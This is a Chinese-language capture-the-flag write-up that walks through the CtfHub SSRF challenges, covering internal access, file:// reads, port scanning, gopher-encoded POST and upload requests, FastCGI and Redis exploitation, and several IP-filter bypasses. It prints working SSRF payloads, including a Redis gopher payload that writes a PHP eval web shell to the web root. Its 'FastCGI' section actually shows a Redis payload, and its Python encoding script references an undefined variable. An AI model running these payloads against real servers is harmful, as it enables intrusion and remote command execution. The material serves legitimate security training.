CtfHub SSRF 通关笔记


内网访问

题目这已经提示要访问的内网地址了,网站并没有设置waf之类防御的机制,构造payload如下:

?url=127.0.0.1/flag.php

伪协议读取文件

伪协议:事实上是其支持的协议与封装协议。而其支持的部分协议有:

file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)

网站的目录一般都在/var/www/html/,由此构造payload:

?url=file:///var/www/html/flag.php

端口扫描

题目已经提示我们需要扫描8000~9000的端口

首先构造为:

?url=dict://127.0.0.1:8000/

先用dict伪协议扫描,然后再访问。

使用 Burp爆破,抓包,点击发送至Intruder

找到长度明显有差异的端口

尝试访问

POST请求

题目提示了 302,我们那我们就先关注一下 302.php

尝试访问链接,发现了302

我们访问 127.0.0.1/flag.php 会得到一个输入框

?url=127.0.0.1/flag.php

根据响应包,构造 gopher payload。

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=075bb1a548a5253d72e4732472c5420f

题目提示发送 POST 请求,那就需要用到 gopher 协议了。

一次编码

第一次编码是将原始的HTTP请求转换为URL编码格式。这是必要的,因为Gopher协议需要以这种方式传输数据。这次编码确保了特殊字符(如空格、换行符等)能够正确地通过Gopher协议传输。

%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%38%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0a%0a%6b%65%79%3d%30%37%35%62%62%31%61%35%34%38%61%35%32%35%33%64%37%32%65%34%37%33%32%34%37%32%63%35%34%32%30%66

把 %0A 换成 %0D%0A

%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0D%0A%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%38%30%0D%0A%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0D%0A%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0D%0A%0D%0A%6b%65%79%3d%30%37%35%62%62%31%61%35%34%38%61%35%32%35%33%64%37%32%65%34%37%33%32%34%37%32%63%35%34%32%30%66

二次编码

第二次编码是为了解决URL参数传递的问题。在大多数Web应用中,URL参数本身就需要进行URL编码。当我们通过URL参数传递一个已经编码过的Gopher payload时,如果不进行二次编码,服务器在解析URL参数时会先进行一次解码,这样就会破坏我们精心构造的Gopher payload。

%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%44%25%30%41%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%33%61%25%33%38%25%33%30%25%30%44%25%30%41%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%44%25%30%41%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%44%25%30%41%25%30%44%25%30%41%25%36%62%25%36%35%25%37%39%25%33%64%25%33%30%25%33%37%25%33%35%25%36%32%25%36%32%25%33%31%25%36%31%25%33%35%25%33%34%25%33%38%25%36%31%25%33%35%25%33%32%25%33%35%25%33%33%25%36%34%25%33%37%25%33%32%25%36%35%25%33%34%25%33%37%25%33%33%25%33%32%25%33%34%25%33%37%25%33%32%25%36%33%25%33%35%25%33%34%25%33%32%25%33%30%25%36%36

最终的 payload

?url=gopher://127.0.0.1:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%44%25%30%41%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%33%61%25%33%38%25%33%30%25%30%44%25%30%41%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%44%25%30%41%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%44%25%30%41%25%30%44%25%30%41%25%36%62%25%36%35%25%37%39%25%33%64%25%33%30%25%33%37%25%33%35%25%36%32%25%36%32%25%33%31%25%36%31%25%33%35%25%33%34%25%33%38%25%36%31%25%33%35%25%33%32%25%33%35%25%33%33%25%36%34%25%33%37%25%33%32%25%36%35%25%33%34%25%33%37%25%33%33%25%33%32%25%33%34%25%33%37%25%33%32%25%36%33%25%33%35%25%33%34%25%33%32%25%33%30%25%36%36

上传文件

访问

/?url=127.0.0.1:80/flag.p hp

修改 html 源码,手动补一下提交按钮

<input type="submit" name="submit">

尝试使用 file 协议读取源码。

/?url=file:///var/www/html/flag.php

根据源码提示,判断是否存在文件以及文件不为空,上传一个 txt 文件,然后抓包。

在构造 payload 之前,需要删除Accept-Encoding: gzip, deflate

POST /flag.php HTTP/1.1
Host: challenge-7712c041d1c6432f.sandbox.ctfhub.com:10800
Content-Length: 299
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://challenge-7712c041d1c6432f.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBaLsmAEB8gxp48MK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-7712c041d1c6432f.sandbox.ctfhub.com:10800/?url=127.0.0.1:80/flag.php
Connection: keep-alive

------WebKitFormBoundaryBaLsmAEB8gxp48MK
Content-Disposition: form-data; name="file"; filename="新建文本文档.txt"
Content-Type: text/plain

test
------WebKitFormBoundaryBaLsmAEB8gxp48MK
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryBaLsmAEB8gxp48MK--

特别注意,最后一定要有个回车

使用脚本进行处理

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: challenge-7712c041d1c6432f.sandbox.ctfhub.com:10800
Content-Length: 299
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://challenge-7712c041d1c6432f.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBaLsmAEB8gxp48MK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-7712c041d1c6432f.sandbox.ctfhub.com:10800/?url=127.0.0.1:80/flag.php
Connection: keep-alive

------WebKitFormBoundaryBaLsmAEB8gxp48MK
Content-Disposition: form-data; name="file"; filename="新建文本文档.txt"
Content-Type: text/plain

test
------WebKitFormBoundaryBaLsmAEB8gxp48MK
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryBaLsmAEB8gxp48MK--
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

最终的payload

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-7712c041d1c6432f.sandbox.ctfhub.com%253A10800%250D%250AContent-Length%253A%2520299%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AAccept-Language%253A%2520zh-CN%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-7712c041d1c6432f.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryBaLsmAEB8gxp48MK%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/127.0.6533.100%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250D%250AReferer%253A%2520http%253A//challenge-7712c041d1c6432f.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1%253A80/flag.php%250D%250AConnection%253A%2520keep-alive%250D%250A%250D%250A------WebKitFormBoundaryBaLsmAEB8gxp48MK%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522%25E6%2596%25B0%25E5%25BB%25BA%25E6%2596%2587%25E6%259C%25AC%25E6%2596%2587%25E6%25A1%25A3.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250Atest%250D%250A------WebKitFormBoundaryBaLsmAEB8gxp48MK%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundaryBaLsmAEB8gxp48MK--%250D%250A

FastCGI协议

我们这里使用Gopherus脚本造payload

python2 gopherus.py --exploit fastcgi

我们获得payload后还需要在编码一次,一共进行了两次编码

需要注意的是进行编码时要去掉没有用的空格或者换行,否则将无法成功获得flag。

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

Redis协议

gopherus --exploit redis

使用一句话木马

<?php eval($_POST['cmd']); ?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

我们将生成的payload再次编码

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

访问,虽然页面显示504,但是我们的shell.php已经写入了。

访问shell.php,虽然有一些脏数据,但页面已经存在了

使用 antSword 进行攻击

http://challenge-9a5c8c4d1a489b5a.sandbox.ctfhub.com:10800/shell.php

URL Bypass

我们可以使用HTTP 基本身份认证绕过:

​ HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
​ 也就是:http://[email protected]形式

构造payload:

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

既然不能使用十进制的IP,那我们尝试将IP转换为十六进制

  • 八进制:0177.000.000.001
  • 十进制:127.0.0.1
  • 十六进制:0x7f000001

构造payload

?url=0x7f000001/flag.php

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

我们通过file协议获取其源码:

?url=file:///var/www/html/flag.php

但是我们并没有在flag.php中看到 提示语:hacker! Ban Intranet IP

再康康 index.php 的源码,我们发现了这句话

?url=file:///var/www/html/index.php

我们发现这里存在这黑名单,限制了127 、172、10、192。但是没有限制localhost。

构造payload

?url=localhost/flag.php

DNS重绑定 Bypass

尝试访问flag.php

再次查看源码:

?url=file:///var/www/html/flag.php

?url=file:///var/www/html/index.php

无法使用原本相同的方法绕过,那么我们只能使用 dns 重定向的方式绕过了

通过网站来去进行临时的 DNS 重定向

https://lock.cmpxchg8b.com/rebinder.html

构造payload

?url=7f000001.7f000002.rbndr.us/flag.php

通关截图


如果本文帮助到了你,帮我点个广告可以咩(o′┏▽┓`o)


评论
  目录